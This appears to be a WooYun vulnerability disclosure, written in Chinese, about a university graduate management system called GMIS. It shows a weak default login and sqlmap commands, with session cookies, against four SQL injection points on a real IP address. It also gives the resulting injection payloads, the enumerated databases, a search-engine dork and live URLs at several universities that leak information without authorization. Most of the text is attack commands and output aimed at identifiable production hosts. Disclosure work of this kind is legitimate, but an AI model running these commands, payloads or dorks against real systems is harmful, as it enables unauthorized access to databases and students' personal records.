WooYun.org

南京南软科技有限公司旗下的研究生管理系统
首先找1个弱口令实例证明下，用户名密码都是1
http://210.41.218.62:8080/gmis/login.aspx

注入点1：
sqlmap跑起来，需要说明的，考虑到cookie可能存在过期时间，验证的话需要自行抓取cookie参数加入sqlmap，审核的同学应该知道怎么做。
xq参数没有过滤，导致注射
sqlmap.py -u "http://210.41.218.62:8080/gmis/pygl/kbcx_jsprint.aspx?xq=19&xqmc=2013-2014春学期" -p "xq" --cookie ASP.NET_SessionId=gdg5xyfrpc5ehh450d1mez55
sqlmap identified the following injection points with a total of 75 HTTP(s) requests:
---
Place: GET
Parameter: xq
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: xq=19' AND 8883=CONVERT(INT,(CHAR(58)+CHAR(111)+CHAR(117)+CHAR(119)+CHAR(58)+(SELECT (CASE WHEN (8883=8883) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(99)+CHAR(120)+CHAR(114)+CHAR(58))) AND 'mGrS'='mGrS&xqmc=2013-2014春学期
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: xq
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: xq=19' AND 8883=CONVERT(INT,(CHAR(58)+CHAR(111)+CHAR(117)+CHAR(119)+CHAR(58)+(SELECT (CASE WHEN (8883=8883) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(99)+CHAR(120)+CHAR(114)+CHAR(58))) AND 'mGrS'='mGrS&xqmc=2013-2014春学期
---
current user: 'gmissa'
current database: 'Gmis31'
available databases [7]:
[*] distribution
[*] Gmis31
[*] master
[*] model
[*] msdb
[*] tempdb
[*] wznew

注入点2：
sqlmap跑起来，需要说明的，考虑到cookie可能存在过期时间，验证的话需要自行抓取cookie参数加入sqlmap，审核的同学应该知道怎么做。
xh参数没有过滤，导致注射
sqlmap.py -u "http://210.41.218.62:8080/gmis/cjgl/zqsxshView.aspx?xh=2007B031" --cookie ASP.NET_SessionId=kcnqmc55ju4polzjg4fmf055
sqlmap identified the following injection points with a total of 66 HTTP(s) requests:
---
Place: GET
Parameter: xh
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: xh=2007B031' AND 5293=5293 AND 'AMBs'='AMBs
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: xh=2007B031' AND 7187=CONVERT(INT,(CHAR(58)+CHAR(106)+CHAR(119)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (7187=7187) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(119)+CHAR(109)+CHAR(113)+CHAR(58))) AND 'IocF'='IocF
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: xh
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: xh=2007B031' AND 5293=5293 AND 'AMBs'='AMBs
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: xh=2007B031' AND 7187=CONVERT(INT,(CHAR(58)+CHAR(106)+CHAR(119)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (7187=7187) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(119)+CHAR(109)+CHAR(113)+CHAR(58))) AND 'IocF'='IocF
---
current user: 'gmissa'
current database: 'Gmis31'
available databases [7]:
[*] distribution
[*] Gmis31
[*] master
[*] model
[*] msdb
[*] tempdb
[*] wznew

注入点3：
sqlmap跑起来，需要说明的，考虑到cookie可能存在过期时间，验证的话需要自行抓取cookie参数加入sqlmap，审核的同学应该知道怎么做。
http://210.41.218.62:8080/gmis/tzgg/tzggdel.aspx
post数据中的2个参数没有过滤（jssj和kssj），导致注射。

注入点4：
post数据中的1个参数没有过滤，txtbxh，导致注射。
POST http://210.41.218.62:8080/gmis/pygl/wxydbglist_dssh.aspx

未授权访问导致信息泄露：
百度搜索关键字 inurl:/Gmis/xkjsb/yjsdsfc.aspx?id=

http://202.206.48.96:8080/gmis/xkjsb/yjsdsfc.aspx?id=0144
http://yjsy.cqmu.edu.cn:8080/gmis/xkjsb/yjsdsfc.aspx?id=100800
http://yjs.xzmc.edu.cn:8080/gmis/xkjsb/yjsdsfc.aspx?id=n0101
http://202.4.152.190:8080/gmis/xkjsb/yjsdsfc.aspx?id=2013500076